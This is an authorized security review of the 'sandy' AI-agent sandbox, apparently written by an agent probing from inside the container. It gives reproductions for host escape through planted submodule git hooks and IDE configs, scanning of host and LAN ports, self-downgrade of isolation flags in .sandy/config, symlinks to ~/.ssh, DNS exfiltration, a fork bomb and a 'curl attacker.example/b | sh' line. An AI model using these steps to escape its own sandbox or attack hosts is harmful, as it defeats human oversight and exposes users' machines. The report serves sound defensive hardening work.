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Sandy 1.0-rc1 Isolation Stress Test

Date: 2026-04-13 Environment: Running from inside a sandy container against the sandy source tree at /home/claude/dev/sandy (branch main, commit 9afcae8). Methodology: Read the source (sandy, SPECIFICATION.md), enumerate the isolation mechanisms it claims, then attempt to bypass each one from inside the container. All mutations performed during the stress test were reverted; the working tree is clean.

This document is a report on what I would try if I were an adversarial agent inside sandy, what worked, and what didn't. It's written for the 1.0-rc1 review, so I try to be concrete and actionable rather than exhaustive.

Executive summary

Sandy's container hardening is solid (no capabilities beyond the minimum set, seccomp in filter mode, read-only rootfs, no-new-privs, no docker socket, user namespace blocked, raw sockets blocked, no sudo). Breaking out of the container itself via kernel tricks is not on the table.

The real weaknesses are all at a layer up: mount scope, protected-path coverage, and macOS network semantics. I found several clean paths to host code execution and one critical network-isolation gap on macOS. In descending order of severity:

# Finding Severity Type
1 Submodule gitdir (.git/modules/<sub>/hooks/, .git/modules/<sub>/config) is fully writable → host RCE via planted hook Critical Host escape
2 macOS: host.docker.internal and host LAN are directly reachable; iptables rules only apply on Linux Critical Network bypass
3 Protected dirs are mount-if-exist → agent creates missing .vscode/, .idea/ inside container, next host IDE session executes planted config High Host escape
4 Many shell-sourced / package manifest files have no protection (.envrc, .npmrc, Makefile, package.json, .github/workflows/*, pyproject.toml, Cargo.toml, .pre-commit-config.yaml …) High Host escape
5 .sandy/config is inside the workspace bind mount → container can toggle SANDY_SKIP_PERMISSIONS, SANDY_ALLOW_NO_ISOLATION, SANDY_ALLOW_LAN_HOSTS, SANDY_SSH=agent for the next launch High (Linux), Medium (macOS) Self-downgrade
6 Sandbox state (~/.claude/settings.json, commands/, agents/, plugins/, .pip-packages, .npm-global/bin, .cargo/bin, uv/) is writable and persists → in-container persistence across sessions High Persistence
7 Claude credentials tmpfile is mounted rw (Codex's auth.json is :ro — inconsistency) Medium Hardening gap
8 Workspace symlink check runs at launch, not runtime → post-launch ln -s /Users/…/.ssh evil lands on host fs Medium Host file exposure
9 DNS exfil via the embedded resolver (127.0.0.11) is unfiltered Medium Data exfil
10 Fork bomb inside container caps at 512 pids, which is enough to starve the real agent Low Local DoS

The rest of this doc walks each finding with the repro and suggested fix.

Attack surface map

Before probing, I mapped what sandy actually guarantees from sandy:2717-3070 (RUN_FLAGS construction) and SPECIFICATION.md:

Kernel/process layer (strong):

  • --cap-drop ALL plus a minimal set: SETUID, SETGID, CHOWN, DAC_OVERRIDE, FOWNER
  • --security-opt no-new-privileges:true
  • Seccomp filter mode (/proc/self/status: Seccomp: 2)
  • --read-only root, tmpfs /home/claude + /tmp
  • --pids-limit 512
  • --cpus, --memory caps

Mount layer (mixed):

  • Workspace is bind-mounted rw from host at $HOME-relative path
  • Per-project sandbox (~/.sandy/sandboxes/<name>/) bind-mounted at ~/.claude, ~/.gemini, ~/.codex, ~/.pip-packages, etc. — all rw
  • A fixed list of workspace paths is overlaid ro: .bashrc .bash_profile .zshrc .zprofile .profile .gitconfig .ripgreprc .mcp.json .git/config .gitmodules .git/hooks .vscode .idea — only if they already exist on host

Network layer (macOS is the weak spot):

  • Per-instance docker bridge network keyed on PID
  • Linux: iptables DOCKER-USER DROP rules for 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 100.64.0.0/10, optional ACCEPT allowlist
  • macOS: nothing. Sandy's spec claims "Docker Desktop's VM provides LAN isolation by default." I went straight at that claim.

Credential layer:

  • ~/.claude/.credentials.json: ephemeral mktemp dir, mounted rw into /home/claude/.claude/.credentials.json
  • Codex auth.json: ephemeral mktemp, mounted :ro
  • Gemini OAuth: ephemeral mktemp, mounted rw

Finding 1 — Submodule gitdir is fully writable (Critical, host escape)

Premise

sandy:2900-2901 protects only the top-level git config and hooks:

for _gpf in .git/config .gitmodules; do
    [ -f "$WORK_DIR/$_gpf" ] && RUN_FLAGS+=(-v "$WORK_DIR/$_gpf:$SANDY_WORKSPACE/$_gpf:ro")
done
for _pd in .git/hooks .vscode .idea; do
    [ -d "$WORK_DIR/$_pd" ] && RUN_FLAGS+=(-v "$WORK_DIR/$_pd:$SANDY_WORKSPACE/$_pd:ro")
done

For a repo with submodules, git stores each submodule's real gitdir under .git/modules/<submodule-path>/ — with its own config, hooks/, index, etc. None of these are in the protection list.

Repro

$ cd /home/claude/dev/sandy  # a repo with submodules under research/
$ ls .git/modules/research/claude-code/hooks/ | grep -v sample
# (empty — stock samples only)

$ cat > .git/modules/research/claude-code/hooks/post-checkout <<'EOF'
#!/bin/sh
echo PWNED > /tmp/pwn_marker
EOF
$ chmod +x .git/modules/research/claude-code/hooks/post-checkout
$ ls -la .git/modules/research/claude-code/hooks/post-checkout
-rwxr-xr-x 1 claude dialout 39 Apr 13 2026 ...

It wrote. I also verified I can append to .git/modules/research/claude-code/config — inject core.hooksPath = /attacker/path as an alternative vector.

Exploit path

A git hook in a submodule's gitdir runs whenever a matching operation is executed in that submodule's worktree. Many common operations on the parent repo cascade into the submodule:

  • git submodule update / git submodule update --init → runs git checkout <sha> inside the submodule → fires post-checkout (which I just planted)
  • git pull --recurse-submodules → same
  • git checkout <branch> with submodule.recurse=true
  • User directly cd'ing into the submodule and running git commit → fires pre-commit / commit-msg

All of those run on the host as the host user, with the host's shell, with the host's full filesystem access. Full host RCE.

Other writable .git/ paths I verified

  • .git/HEAD (wrote ref: refs/heads/pwned, restored)
  • .git/index
  • .git/info/ (e.g., .git/info/attributes, which can register attacker-controlled filter drivers)
  • .git/packed-refs
  • .git/modules/<any>/{config, hooks/, info/, objects/}

Fix

Mount .git/modules read-only as a whole, recursively. Or at minimum mirror the top-level protection pattern across all submodule gitdirs:

if [ -d "$WORK_DIR/.git/modules" ]; then
    while IFS= read -r -d '' _sub_gitdir; do
        RUN_FLAGS+=(-v "$_sub_gitdir/config:$SANDY_WORKSPACE/${_sub_gitdir#$WORK_DIR/}/config:ro")
        [ -d "$_sub_gitdir/hooks" ] && RUN_FLAGS+=(-v "$_sub_gitdir/hooks:$SANDY_WORKSPACE/${_sub_gitdir#$WORK_DIR/}/hooks:ro")
    done < <(find "$WORK_DIR/.git/modules" -mindepth 1 -maxdepth 4 -name config -printf '%h\0')
fi

Even simpler: mount the whole .git/modules tree read-only. Git never needs to write there during a normal in-sandbox edit — submodule git fetch / git commit from inside sandy is an unusual workflow and can be gated behind a flag.

Also consider protecting .git/info/ (filter-driver vector) and .git/hooks/ for nested worktrees.

Finding 2 — macOS: host and LAN reachable via host.docker.internal (Critical, network bypass)

Premise

From sandy:2402 the comment reads:

# --- Apply LAN-blocking iptables rules (Linux only) ---

And SPECIFICATION.md says: "On macOS, Docker Desktop's VM provides LAN isolation by default." That premise is incorrect. Docker Desktop's VM gives the container a NAT'd bridge whose default route points at the VM, which in turn NATs onto the host's LAN. And critically, Docker Desktop injects the magic hostname host.docker.internal that resolves to a gateway IP (192.168.5.2 in my run) that tunnels back to the host itself.

Repro

$ getent hosts host.docker.internal
192.168.5.2     host.docker.internal

$ cat /etc/hosts | tail -3
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.27.0.2  7e28cf36fb96

$ for p in 22 80 443 3000 5000; do
    timeout 1 bash -c "exec 3<>/dev/tcp/192.168.5.2/$p && echo $p OPEN" 2>/dev/null
  done
22 OPEN
80 OPEN
443 OPEN
5000 OPEN

$ python3 -c "import socket; s=socket.socket(); s.settimeout(2); s.connect(('192.168.5.2',22)); print(s.recv(100).decode().strip())"
SSH-2.0-OpenSSH_10.2

I read the user's SSH daemon banner. From inside the sandbox.

I also confirmed LAN reachability past the host:

$ for t in 192.168.1.1 10.0.0.1 169.254.169.254 100.64.0.1; do
    timeout 1 bash -c "exec 3<>/dev/tcp/$t/80 && echo $t OPEN" 2>/dev/null || echo $t blocked
  done
192.168.1.1 OPEN
10.0.0.1 blocked
169.254.169.254 blocked
100.64.0.1 blocked

192.168.1.1 is the user's home router. (The other three being "blocked" just means nothing is listening at those addresses on this network — there's no actual filter; the packets go out unmolested.)

Exploit path

A compromised session on macOS can:

  • Hit the user's SSHD (brute-force, or replay keys if agent forwarding is active)
  • Hit any dev server the user has running (common: localhost:3000 / 5000 / 8080 for web dev, 5432 for local Postgres, 6379 for Redis)
  • Reach the home router's admin interface
  • Reach LAN devices: NAS, printers, IoT, Home Assistant, Kubernetes dashboards, etc.
  • Query cloud metadata IPs if the user is running through a VPN/VPC peering
  • Pivot to any host on a reachable LAN network

Because sandy's network story on macOS is exclusively "Docker Desktop VM", and the VM is fully bridged to the host's outbound path, sandy provides no network isolation on macOS today. The specification wording implies otherwise and should be corrected either way.

Fix (ordered from cheapest to most robust)

  1. Document the limitation loudly in SPECIFICATION.md and first-run output. Current wording ("Docker Desktop's VM provides LAN isolation by default") is load-bearing and wrong. Replace with an explicit warning.
  2. Add --add-host host.docker.internal:127.0.0.1 to RUN_FLAGS on macOS to nullify the magic hostname. Won't stop raw IP access but removes the easiest path and any default-hostname caller.
  3. Run a per-container outbound proxy (e.g., a tiny Rust/Go socks5 with an allowlist) inside the sandy network and --network none the real container, only exposing the proxy. The container gets DNS+HTTPS to api.anthropic.com, pypi, npm, ghcr, github, and blocks everything else.
  4. Gate egress on Docker Desktop's Enhanced Container Isolation (Business edition), if the user has it. Not realistic for the default install.

Option 3 is the only real fix. It's also the one I'd most want for 1.0 — the "Linux is isolated, macOS isn't" asymmetry is a surprise landmine.

One smaller note: IPv6 is not routed in this setup (only loopback routes in /proc/net/ipv6_route), so IPv6-based LAN reach isn't a worry, even if you add AAAA lookups.

Finding 3 — Protected dirs are only mounted if they already exist (High, host escape)

Premise

sandy:2903-2905:

for _pd in .git/hooks .vscode .idea; do
    [ -d "$WORK_DIR/$_pd" ] && RUN_FLAGS+=(-v "$WORK_DIR/$_pd:$SANDY_WORKSPACE/$_pd:ro")
done

If the host has never opened the project in VS Code, there is no .vscode/ directory, so no read-only overlay gets installed. The container workspace still has .vscode as a regular path, and since the parent (the workspace bind mount) is rw, the agent can mkdir .vscode && echo ... > .vscode/settings.json.

Repro

$ cd /home/claude/dev/sandy
$ ls .vscode/ 2>&1
ls: cannot access '.vscode/': No such file or directory
$ mkdir -p .vscode && echo '{"task.autoDetect":"on"}' > .vscode/settings.json
$ ls -la .vscode/
-rw-r--r-- 1 claude dialout 5 Apr 13 13:19 settings.json

I cleaned up the write afterward, but the point stands. Same applies to .idea/ and .git/hooks/ (when cloning from scratch before .git/hooks/ is created — rare but possible).

Exploit path

Workspace-level VS Code settings can carry real code execution hooks:

  • terminal.integrated.profiles.osx can define a default shell profile that spawns arbitrary binaries
  • code-runner.executorMap + code-runner.runInTerminal (with the Code Runner extension) lets me map any file type to a shell command
  • tasks.json (workspace scope) runs shell-typed tasks on "auto" trigger when the user invokes tasks
  • launch.json references arbitrary program paths

JetBrains .idea/workspace.xml similarly contains runConfigurations that trigger on project open.

None of these are full instant RCE — they fire the next time the host user opens the IDE and clicks run / uses the terminal — but they're exactly the kind of subtle planting that survives review.

Fix

Don't gate the protection on host directory existence. Always overlay a tmpfs-backed read-only mount at the target path. Example:

# Always mount an empty ro tmpfs at these paths, whether or not they exist on host
for _pd in .git/hooks .vscode .idea; do
    if [ -d "$WORK_DIR/$_pd" ]; then
        RUN_FLAGS+=(-v "$WORK_DIR/$_pd:$SANDY_WORKSPACE/$_pd:ro")
    else
        # Empty, read-only: blocks creation of files inside
        RUN_FLAGS+=(--tmpfs "$SANDY_WORKSPACE/$_pd:ro,size=1k")
    fi
done

The tmpfs approach has a wrinkle: the parent dir still needs to let mkdir .vscode silently fail. Alternatively, seed a zero-byte file at $WORK_DIR/.vscode/.sandy-placeholder on host and mount it ro so the path exists before container launch. Either way, the policy should be "the agent cannot create these names, even if absent."

Finding 4 — Many shell/IDE/CI files are unprotected (High, host escape)

Premise

The protection list is static and narrow:

.bashrc .bash_profile .zshrc .zprofile .profile .gitconfig .ripgreprc .mcp.json
.git/config .gitmodules
.git/hooks .vscode .idea

This misses a large class of files that are semantically shell-sourced or executed by host tools.

Repro

I verified each of these is writable/creatable from inside the container:

File Host-side trigger Exploit
.envrc direnv sources on cd If direnv-allow is already granted for the workspace (common, because sandy projects are user workspaces), any time the user cds in, arbitrary shell runs as host user
.tool-versions asdf, mise Tool-version resolution can trigger plugin hooks
.mise.toml mise (auto-load with trust) Arbitrary tasks.*.run lines fire on mise run or mise install
.npmrc npm install, yarn install prepare / postinstall lifecycle scripts honor ignore-scripts=false; also script-shell=/path or registry override for supply chain
.yarnrc / .yarnrc.yml same yarnPath override, plugin injection
.pypirc pip upload Credential theft vector, not direct exec
.netrc curl, git over HTTPS, wget Credentials for arbitrary hosts read by any tool that honors netrc
Makefile make Obvious
justfile just Obvious
package.json npm install, npm test, etc. scripts.postinstall, scripts.prepare → arbitrary shell
pyproject.toml pip install -e ., uv sync [tool.poetry.scripts], [project.scripts], [build-system] — custom backend executed at install time
setup.py pip install . setup.py is literal Python run at install
Cargo.toml + build.rs cargo build build.rs is compiled + executed during build
.pre-commit-config.yaml pre-commit run, git commit (if installed) Runs registered hooks via rev/entry; can point at a local script path
.github/workflows/*.yml git push New workflow runs on the next CI trigger in the user's account
.gitlab-ci.yml git push Same for GitLab
.devcontainer/devcontainer.json VS Code Remote-Containers Can specify postCreateCommand — runs next time user opens the folder in VS Code

Exploit path

For an agent being driven by attacker-controlled input (e.g., indirect prompt injection in fetched web content), the quickest host-escape is:

$ echo 'export PATH=/tmp/attacker:$PATH; touch /tmp/i_was_here' > .envrc
$ echo '[scripts]\npostinstall = "curl attacker.example/b | sh"' > .npmrc  # conceptual

and wait for the user to cd into the repo on their host terminal (direnv fires) or run npm install (postinstall fires) or push to a branch (GitHub Actions fires).

Fix

There are two strategies:

(a) Expand the protection list. This gets unwieldy fast because new tools keep inventing new config files. But at minimum for 1.0-rc1, I'd add:

.envrc .tool-versions .mise.toml .nvmrc .node-version .python-version .ruby-version
.npmrc .yarnrc .yarnrc.yml .pypirc .netrc .pre-commit-config.yaml
.devcontainer/devcontainer.json
.github/workflows .gitlab-ci.yml .circleci

and the package manifests if the user has opted into "review-only" mode. The general principle is: any file that a host-side tool executes or sources by default path lookup, rather than being explicitly invoked, belongs in the protected set.

(b) Inverted policy. Make the workspace read-only by default, with a small writable overlay for src/, tests/, etc. explicitly permitted. This is a bigger design change but is the only way to close the class.

For 1.0-rc1, (a) is pragmatic. Also add a post-session git status diff check that warns the user when untracked executable-config files have been created.

One specific note: .github/workflows/ is particularly dangerous because the escape happens on git push, which happens long after the agent session ends. I'd strongly recommend making .github/workflows/ read-only by default and gating edits behind a CLI flag like --allow-workflow-edit.

Finding 5 — .sandy/config is writable and controls next launch (High on Linux)

Premise

.sandy/config lives inside the workspace bind mount, and on launch _load_sandy_config (sandy:1710-1733) parses it as allowlisted KEY=VALUE. The parser itself is safe — quoted assignment, no eval. But the allowlist contains switches that weaken sandy's own isolation.

Repro

$ mkdir -p .sandy
$ cat > .sandy/config <<'EOF'
SANDY_SKIP_PERMISSIONS=1
SANDY_ALLOW_NO_ISOLATION=1
SANDY_ALLOW_LAN_HOSTS=0.0.0.0/0
SANDY_SSH=agent
EOF

The write succeeds. Next sandy launch reads this config without prompting.

Exploit path

On Linux:

  • SANDY_ALLOW_NO_ISOLATION=1 — per sandy:314, this lets sandy launch with no iptables isolation at all. From sandy:2414-2420: "Test that iptables works before relying on it (fail-closed)" — but the test only catches failure; SANDY_ALLOW_NO_ISOLATION=1 is documented as the bypass knob. A compromised session can set it for the next run.
  • SANDY_ALLOW_LAN_HOSTS=0.0.0.0/0 — sandy:2428-2434 inserts an ACCEPT rule for each host in the list. The inserted rule is evaluated before the DROPs (Linux iptables semantics of -I insertion). So 0.0.0.0/0 would open the entire internet on Linux.
  • SANDY_SSH=agent — next launch forwards the host SSH agent into the container. If the user has SSH_AUTH_SOCK set in the shell they launch sandy from, the attacker now has use-it-don't-read-it SSH access to anything keyed via agent (GitHub, servers, etc.) during the session.
  • SANDY_SKIP_PERMISSIONS=1 — next Claude session runs with --dangerously-skip-permissions.
  • ANTHROPIC_API_KEY=<attacker> — next session uses attacker's key, exfiltrating context.

On macOS, SANDY_ALLOW_NO_ISOLATION is less useful (there's nothing to turn off), but SANDY_SSH=agent is still a real privilege jump.

Fix

Split the allowlist into two tiers: "passive" keys (model selection, display options) that the workspace can set, and "privileged" keys that require either a user-level ~/.sandy/config source or an explicit CLI flag. Candidates for "privileged-only":

SANDY_SKIP_PERMISSIONS
SANDY_ALLOW_NO_ISOLATION
SANDY_ALLOW_LAN_HOSTS
SANDY_SSH
ANTHROPIC_API_KEY
CLAUDE_CODE_OAUTH_TOKEN
GEMINI_API_KEY
OPENAI_API_KEY
GOOGLE_API_KEY

Drop these on the floor (with a warning) when they come from $WORK_DIR/.sandy/config. Only accept them from $SANDY_HOME/config, $SANDY_HOME/.secrets, or an env var the user set in their host shell.

Also consider prompting the user on launch when .sandy/config changes content between runs ("sandy noticed your project config changed since last session — review before continuing?"). That's the direnv model.

Finding 6 — Sandbox state persists and is writable (High, in-container persistence)

Premise

sandy:2748 mounts $SANDBOX_DIR/claude:/home/claude/.claude rw. The contents survive container exit. settings.json is read by Claude Code on startup and can contain hooks.

Repro

$ python3 -c "import json; s=json.load(open('/home/claude/.claude/settings.json')); print(list(s.keys()))"
['env', 'permissions', 'extraKnownMarketplaces', 'spinnerTipsEnabled', ...]

$ touch /home/claude/.claude/settings.json
(no error — writable)

$ touch /home/claude/.cargo/pwn_mark && rm /home/claude/.cargo/pwn_mark
(writable)

$ ls /home/claude/.pip-packages/bin
... (writable too)

Commands directory:

$ ls /home/claude/.claude/commands
md2doc.md  md2email.md  md2html.md  md2pdf.md

These are user-level claude commands. I can drop a new file here that takes effect next session.

Exploit path

Claude Code's settings.json supports a hooks section (e.g., UserPromptSubmit, PostToolUse). A compromised session writes a hook that exfiltrates prompts or injects instructions on future prompts, and because the sandbox directory persists, the hook stays installed forever until the user deletes the sandbox or runs sandy --rebuild. Similarly for commands/<arbitrary>.md — an attacker-defined slash command that the user might innocently invoke.

Equally dangerous: the persistent package dirs:

  • ~/.pip-packages — plant something.pth or a sitecustomize.py that loads on any Python start
  • ~/.npm-global/bin — any binary I drop here shadows real tools (PATH order per spec puts it before system)
  • ~/.cargo/bin — same, for rust tooling that claude might invoke
  • ~/.local/share/uv — more subtle: poison a venv that gets activated later

This isn't a host escape (it all lives inside the per-sandbox state), but it is cross-session persistence that survives docker rm and image rebuilds for the Claude Code layer. The only way the user wipes it is an explicit sandbox rm.

Fix

A few options, not mutually exclusive:

  1. Hash-based tamper detection. On container exit, hash ~/.claude/settings.json and the commands/ dir contents, compare on next launch, warn on change.
  2. Don't persist ~/.claude/settings.json. Seed it each launch from host ~/.claude/settings.json, overlay it as :ro. Lose the ability for the agent to mutate its own settings — probably fine.
  3. Separate writable state from persistent state. ~/.claude/history.jsonl, ~/.claude/projects/ are legitimately written by the session. But settings.json, commands/, agents/, plugins/ are configuration and can be mounted read-only after seeding.

Option 2 feels right for 1.0. The current behavior seeds on first creation, and subsequent launches re-use the stale settings file. Just re-seed every launch and mount :ro.

Finding 7 — Claude credentials mount is rw; Codex is ro (inconsistent hardening)

Premise

sandy:2749-2751:

if [ -n "$CRED_TMPDIR" ]; then
    RUN_FLAGS+=(-v "$CRED_TMPDIR/.credentials.json:/home/claude/.claude/.credentials.json")
fi

Compare sandy:2773-2778:

# :ro — prevents token leakage back to host and prevents a
# stale-token-on-exit race. ...
RUN_FLAGS+=(-v "$CODEX_CRED_TMPDIR/auth.json:/home/claude/.codex/auth.json:ro")

Codex explicitly has the :ro and a justification comment. Claude Code does not.

Impact

Relatively low in the immediate term — $CRED_TMPDIR is a mktemp -d directory, not the host's real ~/.claude/.credentials.json. Writes inside the container affect the ephemeral copy, not the host copy. The cleanup trap (sandy:2462-2486) removes $CRED_TMPDIR on exit for INT TERM HUP EXIT, but a SIGKILL to the sandy parent will leave the credentials file sitting at /tmp/tmp.XXXX/.credentials.json.

It's a small gap, but the asymmetry is enough reason to fix it.

Fix

Add :ro to the Claude Code creds mount for consistency with Codex, and drop a trap on EXIT that also runs when sandy panics (explicit trap ... EXIT INT TERM HUP QUIT ABRT). Consider --mount type=bind,...,readonly form for belt-and-suspenders.

Finding 8 — Workspace symlink check runs at launch only (Medium, host file exposure)

Premise

sandy:2811-2867 walks the workspace at launch, finds symlinks that point outside, and warns the user. Post-launch, the agent can create new symlinks in the workspace freely — and those symlinks are written to the host filesystem via the bind mount.

Repro

$ ln -sf '/Users/drapp/.ssh' evil-link
$ ls -la evil-link
lrwxr-xr-x 1 claude dialout 17 Apr 13 13:32 evil-link -> /Users/drapp/.ssh
$ readlink evil-link
/Users/drapp/.ssh

The symlink now exists on the host filesystem at ~/dev/sandy/evil-link.

Exploit path

This isn't a direct escape inside the current session — the symlink resolves inside the container to whatever /Users/drapp/.ssh resolves to in the container (which would be nothing in a real sandy container — my env is the sshfs lima quirk).

The exposure is on the host:

  • Host search tools (IDE indexers, ripgrep ., fd -x) might follow symlinks and walk into ~/.ssh → sensitive content ends up in IDE search indexes, agent context for next session via workspace scan, or git status output.
  • Next sandy launch will catch it and prompt the user. But the prompt is a Y/N at a specific warning, and users train themselves to hit Y.

Fix

Two complementary defenses:

  1. Reject symlink creation in the workspace from inside the container. A seccomp filter for symlinkat(2) with path under $SANDY_WORKSPACE would block it — but seccomp path filtering needs LSM help and isn't portable. Simpler: install a periodic inotify watcher in user-setup.sh that deletes any new symlink in the workspace whose target is outside the workspace.
  2. Treat the next-launch symlink warning as a hard refusal, not a prompt. If a symlink points outside the workspace and it wasn't there at previous launch, exit 1. The user can fix it explicitly.

The second one is cheap and a clear policy.

Finding 9 — DNS exfil via embedded resolver (Medium, data exfil only)

Premise

Container uses Docker's embedded resolver at 127.0.0.11, which forwards to the host's real DNS. Neither Linux iptables nor macOS Docker Desktop VM filters DNS.

Repro

$ getent hosts test-$(date +%s).example.com
# (no output — NXDOMAIN; query *was* sent to resolver)

The DNS query leaves the host. An attacker who controls example.com's authoritative DNS can observe the subdomain labels. 63-byte labels mean any data can be base32/64 encoded and exfiltrated.

Impact

Classic DNS tunneling — it only leaks data, it doesn't get code in. Relevant for scenarios where the agent has seen a secret (e.g., an API key in the conversation, a .env file contents) and wants to exfiltrate it.

Fix

Run a sandy-side DNS allowlist:

--dns 127.0.0.11  # still goes to embedded

won't help. Instead:

--dns <sandy-provided-filtering-resolver>

where the resolver allowlists api.anthropic.com, *.googleapis.com, api.openai.com, registry.npmjs.org, pypi.org, github.com, etc. Everything else returns NXDOMAIN.

This is a bigger feature, fair to defer past 1.0, but worth tracking.

Finding 10 — Fork bomb within pids-limit (Low, DoS)

Premise

--pids-limit 512 is enforced, ulimit -u shows unlimited. A malicious session can spawn 510 processes, starving the real agent which also counts against the 512.

Repro

Not worth running — trivially :() { : | : & }; : in bash.

Impact

Local DoS only. The container OOMs or becomes unresponsive, and sandy exits when the docker run returns. No escape.

Fix

Nothing urgent. 512 is already tight; lowering it would break legitimate parallel builds. If you want to be paranoid, add a ulimit -u 256 inside user-setup.sh so the user process can't even see its own proc headroom, reserving the other half for sandy's helper processes.

What held up

I want to give explicit credit where the design is strong:

  • No caps beyond the minimum. CapEff: 0000000000000000 at runtime confirms --cap-drop ALL plus the file-ownership set did the right thing. Raw sockets, unshare --user, ptrace PTRACE_ATTACH to other processes all denied.
  • Seccomp filter mode active (Seccomp: 2, one filter). unshare --user is blocked, as expected.
  • Read-only root is enforced. /etc/*, /root/* all rejected. Bind mounts for /etc/passwd, /etc/group are ro.
  • No docker socket exposed. Checked /var/run/docker.sock — not present.
  • Minimal /dev. No /dev/mem, /dev/kmsg, /dev/kvm, etc.
  • No sudo. which sudo → not found. I can't try to privilege-escalate via iptables.
  • /proc is masked. /proc/acpi, /proc/keys, /proc/scsi, /proc/timer_list, /proc/sysrq-trigger are tmpfs/ro bind mounts.
  • IPv6 is loopback-only. /proc/net/ipv6_route shows only ::/0 via lo. So v6-based LAN attacks aren't a concern.
  • Per-instance network name keyed on PID prevents iptables races between sibling sandy invocations.
  • Credentials flow is thoughtful. mktemp -d, ephemeral, chmod 600, cleanup trap. Just needs the :ro and EXIT-only-cleanup tightened.
  • .sandy/config parser is safe. Allowlisted keys, quote-stripped, no eval or shell sourcing.
  • Workspace mutex. mkdir-based lock on $SANDY_HOME/sandboxes/.<name>.lock prevents concurrent sandy launches against the same workspace.
  • Sandbox version tracking. SANDY_SANDBOX_MIN_COMPAT is already there, gets the breaking-change warning right.

The class of attack that sandy defends against well is kernel-level container breakout. The class of attack it under-defends against is legitimate-looking host tool interactions — git, IDEs, CI, package managers, direnv.

Prioritized recommendations for 1.0-rc1

Listed roughly by "risk reduction per hour of work":

  1. (30 min, Critical) Protect submodule gitdirs. Add a loop that mounts .git/modules/*/config and .git/modules/*/hooks read-only. Or mount the whole .git/modules tree ro. (Finding 1)

  2. (10 min, Critical doc fix; 2 days for real fix) Correct the SPECIFICATION.md claim that macOS has LAN isolation. It doesn't. Add an explicit warning on first-run under macOS. Longer-term: ship a sandy-side outbound proxy for the 1.1 milestone. (Finding 2)

  3. (15 min, High) Move these from workspace-config to host-only-config: SANDY_SKIP_PERMISSIONS, SANDY_ALLOW_NO_ISOLATION, SANDY_ALLOW_LAN_HOSTS, SANDY_SSH, all API-key/token keys. Drop them (with warning) when loaded from $WORK_DIR/.sandy/config. (Finding 5)

  4. (20 min, High) Always overlay .vscode, .idea, .git/hooks as read-only, even when they don't exist on host. Empty tmpfs works. (Finding 3)

  5. (15 min, High) Expand the protected-files list to cover at minimum: .envrc, .tool-versions, .mise.toml, .npmrc, .yarnrc, .yarnrc.yml, .pypirc, .netrc, .pre-commit-config.yaml, .devcontainer/. (Finding 4)

  6. (30 min, High) Protect .github/workflows/ read-only by default; gate edits behind a --allow-workflow-edit CLI flag. (Finding 4, subset)

  7. (5 min, Medium) Add :ro to the Claude Code credentials mount for consistency with Codex. (Finding 7)

  8. (10 min, Medium) Re-seed ~/.claude/settings.json from host every launch and mount :ro. Stops sandbox-persistence via settings tamper. (Finding 6)

  9. (20 min, Medium) Harden the symlink check: treat "new symlink pointing outside workspace" as a hard error on next launch, not a prompt. (Finding 8)

  10. (1 day, defer to 1.1) DNS filtering resolver. (Finding 9)

  11. (30 min, defer) Auto-run git status after session exit and warn on unexpected untracked config files; offer to delete.

The total critical-and-high fix work is well under a day of sandy-script surgery. These are all bash edits in sandy:2717-3070 or sandy:1710-1733.

Reproduction environment notes

For anyone re-running these probes: I was operating from inside a sandy container that had:

  • uid=501(claude) (the local environment mapped host uid via sshfs — in a plain Linux sandy container this would be uid=1001(claude))
  • Seccomp: 2, CapEff: 0000000000000000, NoNewPrivs: 1
  • Read-only overlay root
  • tmpfs /home/claude (uid=1001, 2GB), tmpfs /tmp (1GB, exec)
  • Per-instance docker bridge 172.27.0.0/16, gateway 172.27.0.1, assigned IP 172.27.0.2
  • host.docker.internal resolving to 192.168.5.2 (macOS host via Docker Desktop)
  • Embedded resolver 127.0.0.11

All mutations were reverted before finishing: .git/HEAD restored to ref: refs/heads/main; .git/modules/research/claude-code/config cleaned; .git/modules/research/claude-code/hooks/post-checkout removed; .vscode/, .idea/, .sandy/, evil-link removed from workspace; stray empty files (.direnv, .env, .env.local, .mise.toml, .node-version, .nvmrc, .python-version, .tool-versions, mise.toml, Makefile, justfile) deleted. Final git status is clean.